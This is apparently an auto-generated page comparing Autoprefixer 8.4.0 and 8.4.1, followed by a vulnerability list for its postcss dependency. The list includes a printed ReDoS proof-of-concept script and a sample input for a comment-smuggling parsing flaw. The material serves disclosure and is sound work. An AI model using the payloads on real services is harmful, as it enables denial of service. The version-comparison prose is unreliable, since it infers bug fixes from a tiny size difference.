Autoprefixer is a popular PostCSS plugin that automatically adds vendor prefixes to CSS rules, ensuring compatibility across different browsers. Versions 8.4.1 and 8.4.0, released on the same day, showcase subtle refinements. Developers using Autoprefixer rely on it to simplify their CSS workflow by eliminating the need for manual prefixing while staying up-to-date with browser support through the Can I Use database. Both versions share identical dependencies, including postcss, browserslist, caniuse-lite, num2fraction, normalize-range, and postcss-value-parser, reflecting a stable core functionality. The core functionality of both versions remain almost identical. The primary difference lies in the dist object, specifically the unpackedSize. Version 8.4.1 has an unpacked size of 329560 bytes, negligibly larger than 8.4.0's 329448 bytes. Because of the really small difference in size, we can assume that version 8.4.1 included very small bug fixes and/or improvements. Because of that, it's advised to use version 8.4.1 because, even it is a small improvement, this can have a great impact for the software. Users should upgrade to the latest patch version (8.4.1) to ensure they benefit from the most recent bug fixes and refinements, maintaining optimal CSS compatibility within their projects. The project consistently releases updates with small improvements. These details highlight the incremental and iterative nature of software development for autoprefixer.
All the vulnerabilities related to the version 8.4.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.